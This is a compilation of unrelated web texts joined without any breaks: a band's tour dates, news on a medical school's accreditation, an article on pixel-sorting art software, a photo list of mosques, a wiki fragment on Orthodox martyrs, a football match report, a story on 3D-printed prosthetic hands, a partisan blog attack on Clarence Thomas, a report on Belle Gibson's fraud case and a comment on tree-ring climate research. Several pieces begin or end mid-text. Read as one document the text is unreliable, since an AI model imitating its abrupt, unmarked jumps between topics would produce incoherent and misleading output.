“On their latest, they go grandiose with weighty tunes that explore love and melancholy. Singer Victoria Legrand has a refreshingly unshowy croon that’s one of the most seductive in pop, and her gorgeous synth drones and guitarist Alex Scally’s effects-laden riffs are exquisite.” [ A-] - Entertainment Weekly
Tour Dates
Sep. 17 - Columbus, OH - Newport Music Hall **
Sep. 18 - Cincinnati, OH - Bogart’s **
Sep. 19 - Royal Oak, MI - Royal Oak Theatre **
Sep. 21 - Milwaukee, WI - Pabst Theatre **
Sep. 22 - Minneapolis, MN - First Avenue [Sold Out] **
Sep. 23 - Minneapolis, MN - First Avenue **
Sep. 25 - Omaha, NE - Slowdown **
Sep. 26 - Lawrence, KS - Liberty Hall **
Sep. 27 - St. Louis, MO - The Pageant **
Sep. 28 - Memphis, TN - Minglewood Hall **
Sep. 29 - Tulsa, OK - Cain’s Ballroom **
Oct. 01 - Houston, TX - House of Blues
Oct. 02 - New Orleans, LA - Civic Theatre
Oct. 03 - Birmingham, AL - Saturn **
Oct. 04 - Nashville, TN - The Ryman Auditorium **
Oct. 06 - Atlanta, GA - Buckhead Theatre **
Oct. 07 - Asheville, NC - Orange Peel **
Oct. 08 - Saxapahaw, NC - Haw River Ballroom [Sold Out] **
Oct. 24 - Belfast, UK - Mandela Hall
Oct. 25 - Dublin, IE - Vicar Street
Oct. 26 - Glasgow, UK - ABC
Oct. 27 - Manchester, UK - The Ritz
Oct. 29 - Paris, FR - Pitchfork Music Festival
Oct. 30 - London, UK - Shepherds Bush Empire
Nov. 02 - Amsterdam, NL - Paradiso
Nov. 03 - Brussels, BE - Autumn Falls @ AB
Nov. 04 - Koln, DE - Gloria
Nov. 05 - Luxemborg, LU - Den Atelier
Nov. 07 - Reykjavik, IS - Iceland Airwaves
Nov. 10 - Oslo, NO - Sentrum Scene
Nov. 11 - Gothenburg, SE - Tradgarn
Nov. 12 - Stockholm, SE - Debaser Medis
Nov. 13 - Copenhagen DK - Vega
Nov. 14 - Hamburg, DE - Kampnagel K1
Nov. 16 - Berlin, DE - Huxley’s
Nov. 17 - Munich, DE - Freiheiz
Nov. 18 - Lausanne, CH - Les Docks
Nov. 20 - Barcelona, ES - Apolo
Nov. 22 - Madrid, ES - La Riviera
Nov. 23 - Lisbon, PT - Armazén
Nov. 24 - Porto, PT - Teatro sa da Bandeira
Dec. 07 - Santa Ana, CA - The Observatory [Sold Out]
Dec. 09 - Los Angeles, CA - The Fonda Theatre [Sold Out]
Dec. 10 - Los Angeles, CA - The Fonda Theatre [Sold Out]
Dec. 11 - Los Angeles, CA - The Fonda Theatre [Sold Out]
Dec. 12 - Los Angeles, CA - The Fonda Theatre [Sold Out]
Dec. 17 - San Francisco, CA - The Fillmore [Sold Out]
Dec. 18 - San Francisco, CA - The Fillmore [Sold Out]
Dec. 19 - San Francisco, CA - The Fillmore [Sold Out]
** w/ Jessica Pratt
For ticket info please visit http://www.beachhousebaltimore.com/tour.
Detroit — The Wayne State University School of Medicine faces possible accreditation probation from the Liaison Committee for Medical Education, which cited diversity and 11 other areas that need to be improved.
But President M. Roy Wilson said Thursday the university is already working to improve diversity in the medical school, which admitted just three minority students last year. WSU received recommendations last month from a task force on ways to boost minority enrollment.
"We used to be a model for diversity in the medical school," Wilson said. "But now, we just haven't done a very good job in attracting minority candidates."
The LCME, the accrediting body for 144 medical schools, visits campuses every eight years and on its recent to Wayne State cited the medical school for 12 violations. Wilson said the decision was made on June 15 but he received the formal letter this week.
LCME said its policy is not to release lists of violations; Wayne State spokesman Matt Lockwood said a copy of the letter listing the violations was unavailable.
Wayne State will appeal and a decision will be made this fall, so the medical school will avoid any decision on probation at least until then.
"It's not a common action but it indicates a serious concern," said Dr. Dan Hunt, co-secretary for the LCME, adding that three or fewer have faced accreditation probation each year over the last five years.
Wayne State is not on probation, Hunt emphasized, and the university has a right to ask for a reconsideration so nothing is finalized.
"To date, the LCME has never withdrawn accreditation," Hunt said.
Besides lack of student diversity, the university was cited for various shortcomings that are easily fixed, Wilson said, such as by adding more seats to an auditorium. He added that the action taken by the LCME did not reflect the quality of the education provided at Wayne State's medical school.
Wilson said creating a more diverse medical school class is the most challenging task, which is why he named a task force months ago.
The report showed that between 1990 and 2006, 13 percent of the students in the entering medical school classes at Wayne State, or about 35 students per class, were African-American, according to the task force. But in 2014, Wayne State accepted only one African-American and two Hispanic students.
Michigan voters in 2006 approved Proposal 2, which banned affirmative action in higher education admissions. The constitutional amendment was upheld by the U.S. Supreme Court in 2014.
"The recent and significant decline in the number of underrepresented minority students at (the medical school) has not largely been driven by (Proposal) 2, but rather by the documented downsizing and/or elimination of historic resources at the School of Medicine, such as recruitment, outreach, retention and support services for all students, particularly underrepresented minority students," the task force report said. "There has been a drift away from our historical commitment to a diverse medical student body."
Among the recommendations were to add a coordinated, integrated outreach at the middle, high school and undergraduate level to create a pipeline of minority applicants to the medical school, and to add a new position, vice dean of diversity and inclusion. Herbert Smitherman Jr., president of the Wayne County Medical Society of Southeast Michigan, has been appointed interim chair.
Though the law affected diversity at Wayne State, Wilson agreed with the report and said the university "dropped the ball" in its recruiting efforts at a campus that used to be a national model and had a diverse medical school matched only by historically black colleges.
"We have a very diverse country that is getting even more diverse," said Wilson, who served as deputy director for strategic scientific planning and program coordination at the National Institute on Minority Health and Health Disparities of the National Institutes of Health before his post at WSU. "We need a more diverse health care work force to have better quality health care."
At first blush, the images created with a new software called PixelDrifter look like yet more glitch art. In fact, the choppy, blurred effects seen here are the result of a new method called “pixel sorting.”
Russian electronic musician Dmitriy Krotevich wrote the code for PixelDrifter for fun. He’s not a programmer, but he had been tinkering with a pixel-sorting code created by computer artist Kim Asendorf, and was impressed. In PixelDrifter, which Krotevich built from scratch, each pixel has a “power” value determined by its luminosity or position on the screen. With a little prodding (by setting options in the software) from the user, the pixels will move and switch position with other pixels.
“By default, each pixel tries to find the ‘weakest’ pixel among its closest neighbors and if one is found, they swap their positions,” Krotevich says. “Also pixels with a higher ‘power’ value can do more ‘swaps.’ ” Put differently, the pixels are imbued with enough intelligence to behave autonomously, although Krotevich says, “an experienced user can predict a result.”
Dmitriy Krotevich
Krotevich compares PixelDrifter to Conway's Game of Life, the math game invented in 1970 by mathematician John Horton Conway. There are no players in Life, just an initial pattern input—in the form of units on a gridded system, like a checker board—that then reconfigures according to a set algorithm. As much as Conway's Game of Life seems quaint today, when everything is quantified and algorithm-powered, it was ground-breaking for its time. After Scientific American published a story about the game, it spawned a ton of interest for computer scientists and physicists, and laid the early groundwork for generative designers who would later user computers to conceive wild and complex patterns.
With today’s rapid modernization of the world, we can even see more advanced forms of architectures in the latest masjids. Nevertheless, the beauty and reverence for such sacred places of worship remains in these structures, all thanks to the rich history that these masjids possess.
What better time than to appreciate the beauty of these Islamic architectures than the month of Ramadan? Here’s 65 awe-inspiring mosques from various countries around the world that’ll leave you breathless!
Recommended Reading: 45 Awe-Inspiring Landmarks Around The World
Siddiqa Fatima Zahra Mosque (Kuwait)
Source: Matthew Jacob
Emir Abdelkader Mosque (Constantine, Algeria)
Source: Beautiful Mosques
Blue Mosque (Yerevan, Armernia)
Source: Beautiful Mosques
Abu Derwish Mosque (Amman, Jordan)
Source: Beautiful Mosques
Akhmad Kadyrov Mosque (Grozny, Chechnya)
Source: Beautiful Mosques
Mecca Masjid (Hyderabad, India)
Source: Beautiful Mosques
Masjid Raya Mosque (Tanjong Pinang, Indonesia)
Source: Beautiful Mosques
Great Mosque of Xining (Xining, China)
Source: Beautiful Mosques
Tokyo Mosque (Tokyo, Japan)
Source: Beautiful Mosques
Lead Mosque (Shkoder, Albania)
Source: Beautiful Mosques
Hui Mosque in Ningxia (Ningxia, China)
Source: Islamic Arts and Architecture
Shrine of Hazrat Ali (Mazar-i-Sharif, Afghanistan)
Source: Famous Mosque
Saint Petersburg Mosque (St. Petersburg, Russia)
Source: Zaratra
Mosque-Madrassa of Sultan Hassan (Cairo, Egypt)
Source: Ernie Reyes
Sultan Qaboos Grand Mosque (Muscat, Oman)
Source: Jerome Ryan
Al Nida Mosque (Baghdad, Iraq)
Source: Mihoub Fares
Sunshine Mosque (Victoria, Australia)
Source: William Bullimore
Sultan Omar Ali Saifuddin Mosque (Bandar Seri Begawan, Brunei)
Source: Tylerdurden1
Sultan Omar Ali Saifuddin Mosque 2 (Bandar Seri Begawan, Brunei)
Source: NeilsPhotography
Baitun Nur (Alberta, Canada)
Source: Engr. Mazhar-ul-Haq Khan
Sheikh Zayed Grand Mosque (Abu Dhabi, UAE)
Source: Dennis Teoh
Sheikh Zayed Grand Mosque 2 (Abu Dhabi, UAE)
Source: Best in Travel
Sheikh Zayed Grand Mosque 3 (Abu Dhabi, UAE)
Source: Wikipedia
Taj Mahal Mosque (Agra, India)
Source: Wikipedia
Qolsharif Mosque (Kazan, Russia)
Source: Wikipedia
Imam Reza Shrine (Mashhad, Iran)
Source: Meysam110
Badshahi Mosque (Lahore, Pakistan)
Source: Wikipedia
Green Lane Masjid (Birhingham, United Kingdom)
Source: Wikipedia
Wazir Khan Mosque (Lahore, Pakistan)
Source: Wikipedia
Sabancı Merkez Camii (Adana, Turkey)
Source: Wikipedia
Al-Saleh Mosque (Sana’a, Yemen)
Source: Himo
Jumeirah Grand Mosque (Dubai, UAE)
Source: Elvis Payne
The Mosque of Muhammad Ali Pasha (Cairo, Egypt)
Source: Brian Connor
Kowloon Masjid and Islamic Centre (Hong Kong, China)
Source: ZN Web Studio
Al-Azhar Mosque (Cairo, Egypt)
Source: Jan Matysek
Grande Mosquee de Paris (Paris, France)
Source: Fredcan
Great Mosque of Hohhot (Inner Mongolia, China)
Source: Chaloos
Imam Mosque (Isfahan, Iran)
Source: HybridLava
Nur-Astana Mosque (Astana, Kazakhstan)
Source: Frost-uw
Jamia Mosque (Nairobi, Kenya)
Source: Laird Scott
Crystal Mosque (Terengganu, Malaysia)
Source: Azam Hashim
Crystal Mosque 2 (Terengganu, Malaysia)
Source: Mohammad Azmi
Masjid Bahagian Kuching (Sarawak, Malaysia)
Source: Bingregory
Putra Mosque (Putrajaya, Malaysia)
Source: Ming Chan
Grand Mosque (Mecca, Saudi Arabia)
Source: Hossam All Line
Grand Mosque 2 (Mecca, Saudi Arabia)
Source: Sharif Afridi
Jama Masjid (Delhi, India)
Source: Sharif Afridi
Hassan II Mosque (Casablanca, Morocco)
Source: Rosino
Abuja National Mosque (Abuja, Nigeria)
Source: Irene Becker
Sultan Haji Hassanal Bolkiah Masjid (Cotabato City, Philippines)
Source: Eazy Traveler
Faisal Mosque (Islamabad, Pakistan)
Source: Ian Cowe
Jami Ul-Alfar Mosque (Colombo, Sri Lanka)
Source: Rushika Silva
Ahmadiyya Anjuman Isha’at Islam Mosque (Paramaribo, Suriname)
Source: Malakospapakos
Dome of the Rock (Old City, Jerusalem)
Source: Malakospapakos
Great Mosque of Damascus (Damascus, Syria)
Source: Bashar Shglila
Omayyed Mosque (Damascus, Syria)
Source: Hussein Alazaat
Sultan Ahmed Mosque (Istanbul, Turkey)
Source: Discodoener
Seoul Central Mosque (Seoul, South Korea)
Source: Izamree
Mosque of the Prophet 2 (Medina, Saudi Arabia)
Source: Azozphotography
Some New Martyrs are anonymous or known with non-Christian names, as they died without being officially baptized. According to the Orthodox belief, they were baptized in their own blood when executed.
New Martyrs under Ottoman rule [ edit ]
The first new martyrs were recorded after the Seljuk invasion of Asia Minor (11th century).[3] In the Orthodox Church, the third Sunday after Pentecost is known as the "Commemoration of All New Martyrs of the Turkish Yoke."[citation needed]
New Martyrs under Communist rule [ edit ]
In the Russian Orthodox Church, the Sunday closest to 25 January (7 February on the Gregorian Calendar) is the "Sunday of the Holy New Martyrs and Confessors of Russia." The date of 25 January was chosen because that was the date in 1918 of the martyrdom of St. Vladimir (Bogoiavlensikii), Metropolitan of Kiev, who is referred to as the "Protomartyr of the communist yoke in Russia."
New Martyrs under Nazism [ edit ]
Serbian New Martyrs [ edit ]
The feast of "All New Martyrs of Serbia" is celebrated on 28 June [O.S. 15 June].
New Martyrs of the Boxer Rebellion [ edit ]
24 June [O.S. 11 June] is celebrated as the feast of the "New Martyrs of China Slain During the Boxer Rebellion"
In Austria-Hungary [ edit ]
In post-Soviet Russia [ edit ]
Daniel Sysoyev [7] [8] Muscovite priest and missionary assassinated by an Islamist militant
Muscovite priest and missionary assassinated by an Islamist militant Yevgeny Rodionov, a Russian soldier who fought in First Chechen War, was taken prisoner, tortured and eventually murdered for his refusal to convert to Islam[9]
As of 2016 the Russian Orthodox Church has not glorified either of the martyrs listed above, but each has received widespread popular veneration.
See also [ edit ]
Sources [ edit ]
Derived with permission from New Martyrs at OrthodoxWiki.
at OrthodoxWiki. Blackwell Dictionary of Eastern Christianity , 341-43
But Friday night’s hard-fought draw against Brisbane Roar showed there’s still a strong pulse in its season.
The Reds could easily have folded after going down a goal early in the first half at Coopers Stadium.
But Guillermo Amor’s side showed enough grit to first score an equaliser then hold on for a crucial point.
Round 21 Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre
Speaking on Fox Sports, Andy Harper said Adelaide’s effort had shades of the “scratchy draw” against Newcastle in 2015 which snapped a four-game losing streak and prompted its remarkable run to the championship.
“(Last year) they got a scratchy draw to get out of jail,” Harper said on Fox Sports.
“That was the moment that they started to get players back — Galekovic and Carrusca came back — they started getting on a run, they were putting wins together instead of draws and they ended up winning the comp.
“Now it’s ridiculous to suggest that’s going to be the fate again this season.
“But that was a really hard-fought (draw) when your confidence is down against a team about which everyone is talking.”
Something the Reds could really take confidence from was the return of Carrusca.
While the playmaker overhit a few early balls, Adelaide looked rejuvenated by his return to the starting line-up, with his trademark creativity and smarts on show throughout his time on the field. He’ll only get better with game time, too.
However, finding an equaliser after Carrusca went off was also encouraging, while the work of youngsters Jordan O’Doherty and Riley McGree was impressive.
Crucially, the Reds have a target man who would be the envy of several clubs in Sergi Guardiola.
The Spaniard stepped up for the third time in three matches to deliver a header past Michael Theo and level the scores. Ben Garrucio’s work bombing up from left back also played a crucial role, with his cross into Guardiola providing the perfect service.
From there, some desperate defending — and a few forays forward — proved enough for the Reds to clutch a much-needed point.
Speaking after the match, Amor said his team was “very good” and worked hard for the result.
“We prefer always to win but sometimes it depends — the draw is not bad,” he told Fox Sports.
It just about sums up the result — the Reds could have snatched the win but realistically, with the chances Brisbane had, they can be happy with the point.
With the likes of Sergio Cirio, Michael Marrone and Henrique among the injured players set to join Carrusca in returning to the fold in the coming weeks, things could be looking up for Adelaide.
“This could be the moment,” Harper said.
“Let’s hope that the fortunes for Adelaide United have turned on that 1-1 draw and they can start picking themselves up.
“Henrique comes back, Michael Marrone coming back into the equation … Cirio as well.
“So a lot of blue sky hopefully for Adelaide United fans.”
THE MOMENT
With plenty of chances going both ways — though Brisbane’s were more penetrating — the tension had built at Coopers Stadium.
The game desperately needed a goal to open things up and it came from a man who had been searching for his first A-League goal.
Roar recruit Brett Holman stepped up, receiving a clever short pass from Matt McKay, winding up and burying the ball — with a glancing touch off the hand of Iacopo La Rocca — into the back of Eugene Galekovic’s net.
TURNING POINT
If the goal had given Brisbane Roar a moment of relief, it seemed to spur Adelaide onto greater things.
The Reds conjured a renewed sense of enthusiasm and liveliness going forward, with the likes of O’Doherty and McGree bursting forward in spurts.
Guardiola and Isaias too started to really find their feet as the Reds made better use of their dominance of the possession count.
HERO
It’s hard to go past Guardiola.
For the third straight game the Spaniard stepped up to deliver a much-needed goal for the Reds. Guardiola’s a threat on the move and in the air, while he’s also capable of both holding the ball up and creating well-timed runs.
Crucially, his connection with Garrucio’s cross into the box was perfect.
TALKING POINT
The return of Carrusca and James Holland added an extra level to Adelaide’s midfield, with the load having largely been shouldered by Isaias in recent weeks. Carrusca’s presence gave Thomas Kristensen something to think about, while Holland’s presence in the centre of the park helped give the Reds more freedom to use their pace out wide. With several key players still to return from injury, Adelaide’s performance showed it should have the weapons to match it with plenty of finals contenders as the year goes on.
An ambitious project at a Pennsylvania high school is changing the lives of two middle school students.
This year, Pine Grove Area High School in Schuylkill County, Pennsylvania got a 3D printer, and a student and his teacher just finished printing out two prosthetic hands for the students.
The high school never imagined putting its 3D printer to such good use. In its first year, the high-tech printer was used to create the proper prosthetic hands that the two middle schoolers needed to learn how to play musical instruments, KTLA sister station WNEP reported.
Holding a guitar and actually being able to play it is a big moment for Casandra Stewart.
"I've never been able to do this before so it's really cool to be able to experience this," she said.
All year, the sixth grader and another seventh grader - Andrew Mindy - had to sit out during part of music class because they couldn't play certain instruments
At one point Andrew, desperate to play the drums, strapped sticks to his arm.
"I wrapped scotch tape around it. But you know, scotch tape is not going to last very long."
No scotch tape needed now - the nearby high school heard of the music students' problems and created prosthetic hands for them.
A technology teacher at Pine Grove Area High School gave the task to his talented freshman student Nicholas Brown.
He used the school's brand new 3D printer, and Brown and his teacher documented the process.
"We actually had to change his schedule, his course schedule in the freshman year to get him in here for an additional period throughout the day," said technology teacher Brad Fessler.
It took the entire school year.
After several prototypes, the end result was perfect for both students.
Ernest A. Canning Byon 9/4/2011, 3:05pm PT
Guest blogged by Ernest A. Canning
However historically inaccurate the phrase may have been, the idea that Emperor Nero fiddled while Rome burned seems apropos the appearance of a David G. Savage fawning Clarence Thomas puff piece on the front page of the Sunday, July 3 edition of Los Angeles Times.
On March 7, as part of our coverage of a Daily Beast article, in which Univ. of Colorado Law Professor Paul Campos called for Thomas to be thrown off the bench, we noted:
In a March 6 Los Angeles Times op-ed, George Washington Law School Prof. Jonathan Turley found allegations that Virginia Thomas received monies from the groups that had a direct interest in the outcome of Citizens United to be "particularly alarming." He went on to compare Thomas' cynical effort to equate criticism of his ethical lapses with an attack on the integrity of the Court to Louis XIV's infamous view that there was no distinction between himself and the state.
Yet, on July 3, Los Angeles Times gave page-one coverage to Savage's uncritical piece that begins with a self-serving description in which Thomas seeks to portray his radical and, at times, outright bizarre legal positions, such as his stand-alone position that prisoners have no constitutional right to be protected from beatings by their guards, as simply a reflection of a rugged individualist who is not afraid to be a minority of one when he thinks he is right.
During Thomas' contentious Senate Judiciary Committee Confirmation Hearings in 1991, the late Sen. Edward "Ted" Kennedy (D-MA) took a very different view as he likened the Thomas nomination to a game of "Russian roulette":
If we confirm a nominee who has not demonstrated a commitment to core constitutional values, we jeopardize our rights as individuals and the future of our nation. We cannot undo such a mistake at the next election or even in the next generation.
The firestorm of controversy surrounding questions about Thomas' conflicts of interest, severe ethical lapses, and possible crimes has momentarily slowed a bit over the past month of Congressional (almost) recess and the usual D.C. media "summer vacation." But the list of reputable individuals and organizations calling for the embattled Associate Supreme Court Justice to be investigated by the U.S. Dept. of Justice, removed from office, and possibly prosecuted is likely to grow again once politics as usual resumes following the Labor Day holiday, according to The BRAD BLOG's discussions with a number of those individuals and organizations.
In the meantime, the question remains as to why Los Angeles Times saw fit not only to publish a ridiculous puff piece on Thomas as the firestorm was still cresting in July, failing to so much as reference these serious issues, but why they even found it necessary to elevate such a softball article to their front page.
Before reaching that, however, let's again examine the real issues...
1991 Confirmation Hearings and the U.S. Senate's blind-eye to perjury
In Prof. Campos' call to "Throw Clarence Thomas Off the Bench" in March, he expressed the belief that it "is very unlikely [that Thomas would] be prosecuted or otherwise sanctioned for the simple reason that, in the United States in 2011, we have a two-tiered system of laws" where, for the vast majority of citizens, "an unusually harsh criminal code" has given rise to "by far the biggest prison population in the world." Nonetheless, he added, "our political and financial elites operate with something approaching complete impunity."
That reality makes a mockery of the words that appear above the portico of the United States Supreme Court: "Equal Justice Under Law." It is a reality which was occasioned in no small measure in 1991 when 52 members of the U.S. Senate voted to confirm Thomas despite the farce that his Confirmation Hearings had become. That vote was, in part, the product of a right-wing media blitz. A then nascent Citizens United organization, among other right-wing groups, chipped in $100,000 for attack ads (aka paid political propaganda) in order to pressure Senators who might otherwise have opposed confirmation.
Perhaps one of the most insightful accounts is that which was furnished by David Brock in his book Blinded by the Right.
Today, many would associate Brock with the progressive watchdog group he founded, Media Matters. But back in 1991, he occupied a role since assumed by the likes of pathological, race-bating liar and serial propagandist Andrew Breitbart.
Unlike Breitbart, Brock proved to have a conscience --- one that led to an insider's disclosure via Blinded by the Right of the cynical right-wing calculations behind the Thomas nomination.
According to Brock, the Thomas nomination was the product of efforts by White House Counsel C. Boyden Gray "and Lee Liberman, a diminutive woman in Coke-bottle glasses who was known as 'Rasputin' for her immense, behind-the-scenes influence over judicial appointments. Working closely with Thomas himself, the duo made a cynical calculation. The only way to slide a hard-right conservative through the Senate was to choose a 'black Bork,' driving a wedge through the civil rights community."
Knowing that the views of the radical-right, billionaire-funded, Robert Bork-founded Federalist Society were at odds with the fundamental precepts of a democratic society bound by the rule of law, "Thomas," according to Brock, was "coached by the Federalist Society confirmation team to give the Judiciary Committee answers to questions that may have been technically true but deliberately misleading."
As revealed by The New York Times in a Sept. 12, 1991 article on the Thomas Hearings, the tactic prompted then Sen. Paul Simon (D-IL) to observe: "If evasiveness before the committee is rewarded, we warp the process."
Federalist Society evasiveness became such a staple during subsequent Senate Judiciary Supreme Court Confirmation Hearings that it prompted U.C.S.D. Law Professor Peter Irons to compare the effort to question Supreme Court Chief Justice John Roberts, more than a decade later, to trying to "nail Jell-O to a wall."
As observed by Sen. Patrick Leahy (D-VT), who was quoted in the 9/12/91 New York Times piece, Thomas' sworn testimony was, at least in one instance, not even technically true. "Thomas said that he did not believe he had ever expressed an opinion about Roe [v. Wade] even in private nor had he ever formulated a personal opinion on the case in the 18 years since it was decided." Sen. Herbert Kohl (D-WI) described that sworn denial as "astonishing."
On that point, it is believed that Thomas had perjured himself, even before Anita Hill, a diminutive African American law professor who had served under Thomas at the federal Equal Employment Opportunity Commission (EEOC), stepped forward to deliver, under oath and in graphic detail, an account of unsolicited sexual advances. It was an account she had previously relayed in contemporaneous conversations with Susan Hoerchner, a CA Workers' Compensation Judge before whom this writer has appeared.
What followed was a vicious, right-wing smear campaign inside the Senate chambers and magnified by the right-wing media echo chamber --- a tactic that has become the hallmark of hard-right smear campaigns ever since.
Brock would know. He played a central role in producing a slanderous, right-wing hit piece, The Real Anita Hill in support of the smear campaign. Even though Brock now admits he believed Hill and thought Thomas had lied, Brock successfully helped to create a caricature of Hill at the time as "a little bit nutty and a little bit slutty."
The growing firestorm
Jonathan Turley's March 6 op-ed which referenced the conflict-of-interest that arises because Thomas' wife stood to personally gain from her husband's critical fifth vote in the now-infamous Citizen's United decision is actually against-the-grain for Los Angeles Times. The last piece the paper published that discussed Thomas 1991 Roe v. Wade canard was published on Oct. 18, 2007. The piece noted that Thomas "was not telling the truth to the Senate," but the article refrained from noting that not telling the truth was perjury --- a crime and impeachable offense.
The July puff piece then came at a time when a growing body of work, including a lengthy June 19, 2011 New York Times exposé suggested that Thomas' ethical lapses are so extensive that one may wish to characterize them as a judicial crime spree.
The New York Times exposé pertained to the long-standing relationship between Thomas and Harlan Crow, a Dallas real estate magnate, Bush Family friend and Board member of the neoconservative American Enterprise Institute. Crow, like the billionaire Koch brothers, is the son of privilege and inherited wealth. Crow's father, Trammell, was "once the largest landlord in the United States."
Crow, who gave $100,000 to the so-called Swift Boat Veterans for Truth organizations in their smear campaign to destroy then Presidential candidate Sen. John Kerry in 2004, has bestowed numerous favors upon the ethically challenged Associate Justice and his wife over the years. Some of those favors include flights on his private jet, hosting the couple aboard his 161-foot private yacht and a stay at an exclusive, CA Bohemian Grove retreat. Crow gave Thomas "a gift" of a Frederick Douglass bible valued at $19,000, and a bust of Lincoln valued at $15,000.
All of that provides some context to Thomas' self-assessment of his day job as a salaried $213,900/year Associate Justice of the U.S. Supreme Court.
As David Savage reported in his Los Angeles Times puff piece, Thomas complained: "There's not much that entices about the job [of Supreme Court Justice]." Savage reports that Thomas told a college audience: "There's no money in it. No privacy. No big houses...I wouldn't say I like it."
Those statements provide context to the fact that Thomas appears to have knowingly falsified his Judicial Financial Disclosure Forms by failing to disclose that Ginni received nearly $700,000 from the right wing Heritage Foundation.
There's a great deal of money to be made in cultivating wealthy right wing benefactors like Crow, whom The New York Times reports gave $500,000 in start-up monies for Virginia Thomas' "Tea Party" group. That sum, more than double Thomas' salary, was paid to Liberty Central, a 501(c)(4) tax-exempt advocacy group that Ginni Thomas incorporated just after Citizen's United was argued before the Court, but prior to the Court's announced decision. The amount would be enough to cover Ginni's salary in full for the first three years of the group's operation, according to the organization's own subsequent financial disclosures.
One would think that it can't get much worse than what Thomas critics have described as "judicial insider trading" in regards knowledge of the court's then forthcoming decision in the Citizens United case. Yet, we then learned from Adele M. Stan of AlterNet that, "at its inception Liberty Central was linked to two groups --- the Missouri Sovereignty Project and Gun Owners of America --- whose leaders called for the making of war on the US government, and one, Tradition Family and Property, whose leader called the Spanish Inquisition 'a beautiful thing.'"
"Each of these groups," Stan reported, "were listed on the Liberty Central Web site as 'Friends of Liberty Central.'"
The epitome of a closed, authoritarian mind
Savage's L.A. Times puff piece notes that every summer Thomas invites his law clerks over to watch the 1949 film version of Ayn Rand's The Fountainhead, in which the individualistic protagonist, Howard Roark (portrayed by Gary Cooper), is a young architect who prefers to struggle in obscurity rather than compromise artistic expression.
While that may be the ideal in the realm of art and architecture, as an attorney I can personally say that the last thing I would want to do is argue a case before a judge who thinks he already knows the answer before I utter a word.
Savage cites a statistic that I found appalling. Thomas "has not asked a question or made a comment [during oral arguments] in more than five years."
Why ask questions or make comments when your mind is already made up?
The authoritarian nature of that closed mind is reflected in another Thomas remark, as quoted by Savage: "I won't hire clerks who have profound disagreements with me. It's like trying to train a pig. It wastes your time, and it aggravates the pig."
Thomas doesn't just "think" he's right. He "knows" he's right, so much so, that he relegates anyone who profoundly disagrees with him to the status of a "pig." Thomas, Professor Cass Sunstein suggests in Radicals in Robes: Why Extreme Right Wing Courts are Wrong for America is the epitome of a fundamentalist. "Fundamentalists know that current constitutional law does not reflect their own views, and they feel angry and even embattled about that fact."
It is this dangerous, authoritarian mindset which likely explains why Thomas remains silent during oral arguments. Even on a right-wing Court, Thomas' views are so extreme that he has stood alone in his assertions that states have a right to establish an official religion or that school officials have a right to strip-search a 13-year old girl to look for ibuprofen pills.
Add to this Thomas' series of ethical lapses that amount to a judicial crime spree and you come to understand the danger posed to the rights of all Americans by allowing an utterly dishonest ideologue to remain on our nation's highest court.
Why now, L.A. Times?
Was the timing and front-page placement of the Thomas puff piece mere coincidence? Was it the product of shoddy journalism, or something worse? Was it an effort to knee-cap the growing calls for Thomas' removal from office and calls for the invalidation of the Citizens United --- from which the corporate media stands to handsomely profit (courtesy of corporate campaign ads)? Or might the purpose of the article have been to serve as a counter to the rising movement calling for Thomas to recuse himself from a likely Supreme Court hearing on the constitutionality of the Obama Administration's health care insurance reform bill, given his wife's oft-stated public position that the law is unconstitutional?
The editors of Southern California's most influential paper owe their readers some answers, though few are likely to be proffered. An article such as Savage's, serving as little more than a distraction at a time when additional journalist light needs to be offered to a heated controversy of national import, may tell us more about the once-great paper's political position than any express explanation that Los Angeles Times might deem to offer.
Ernest A. Canning has been an active member of the California state bar since 1977. Mr. Canning has received both undergraduate and graduate degrees in political science as well as a juris doctor. He is also a Vietnam vet (4th Infantry, Central Highlands 1968).
Consumer Affairs Victoria says invoice paying for exclusive interview with Whole Pantry founder included in affidavit
Belle Gibson was paid $75,000 by Nine for 60 Minutes interview, documents show
The disgraced wellness blogger Belle Gibson was paid $75,000 by Channel Nine for an exclusive interview on 60 Minutes, according to court documents filed by Consumer Affairs Victoria.
In June last year Gibson was interviewed by the 60 Minutes reporter Tara Brown about faking brain cancer but her answers were incoherent and she even declined to give her age.
Nine has declined to say whether Gibson was paid for the bizarre interview, in which she told Brown she was the victim despite having deceived social media followers who believed she had terminal cancer.
“I didn’t trade in on my story or in other peoples lives,” Gibson told Channel Nine. “I’m not trying to get away with anything.”
Belle Gibson video submitted to court sparks condemnation over cancer claims Read more
Confirmation she was paid handsomely by 60 Minutes has emerged from the hundreds of documents filed by Consumer Affairs Victoria in the federal court.
A spokeswoman for Consumer Affairs confirmed the invoice for $75,000 dated July 2015 is included in an affidavit in the 1,500-page cache of documents filed with the court.
In May Consumer Affairs announced it would take action against Gibson after an investigation into her alleged contraventions of consumer law.
“The alleged contraventions relate to false claims by Ms Gibson and her company concerning her diagnosis with terminal brain cancer, her rejection of conventional cancer treatments in favour of natural remedies and the donation of proceeds to various charities,” the justice department said.
In the book The Whole Pantry, published by Penguin, Gibson claimed she had been diagnosed with malignant brain cancer at the age of 20 and had tried radiotherapy and chemotherapy but that diets and natural treatments had saved her life.
Penguin later withdrew the book from sale after acknowledging the statements made in it were not true.
Gibson’s payments from media appearances and her relationships with publishers and media companies are now being laid bare through the court case.
It was also revealed the federal court in Victoria last week that Gibson had made more than $420,000 from sales of her app and received a $132,500 book ­advance.
Company bank records tendered to the court show she made payments for a BMW, spent hundreds on Uber rides, spent money on overseas travel, including a trip to San Francisco, and at the Apple iTunes store and eating out at cafes.
Last week a video emerged of Gibson being coached by Penguin Publishing.
Her social media posts, including one where she said she had cured her terminal brain cancer “naturally”, are also being used as evidence she committed fraud.
So far Gibson has failed to appear at court.
1. Tree growth is sensitive to very many factors including climate. By piecing together growth records from different trees, living or dead, it is possible to determine the temporal variation of growth patterns going back many hundreds of years. The dendroclimatological work at CRU seeks to go beyond this and to extract from the dated growth patterns the local and regional history of temperature variations. The Unit does virtually no primary data acquisition but has used data from published archives and has collaborated with people who have collected data.
No particular objections to this paragraph. The Climategate letters also show that CRU directly funded the collection of some data (e.g. Yamal).
2. The main effort of the dendroclimalogists at CRU is in developing ways to extract climate information from networks of tree ring data. The data sets are large and are influenced by many factors of which temperature is only one. This means that the effects of long term temperature variations are masked by other more dominant short term influences and have to be extracted by statistical techniques. The Unit approaches this task with an independent mindset and awareness of the interplay of biological and physical processes underlying the signals that they are trying to detect.
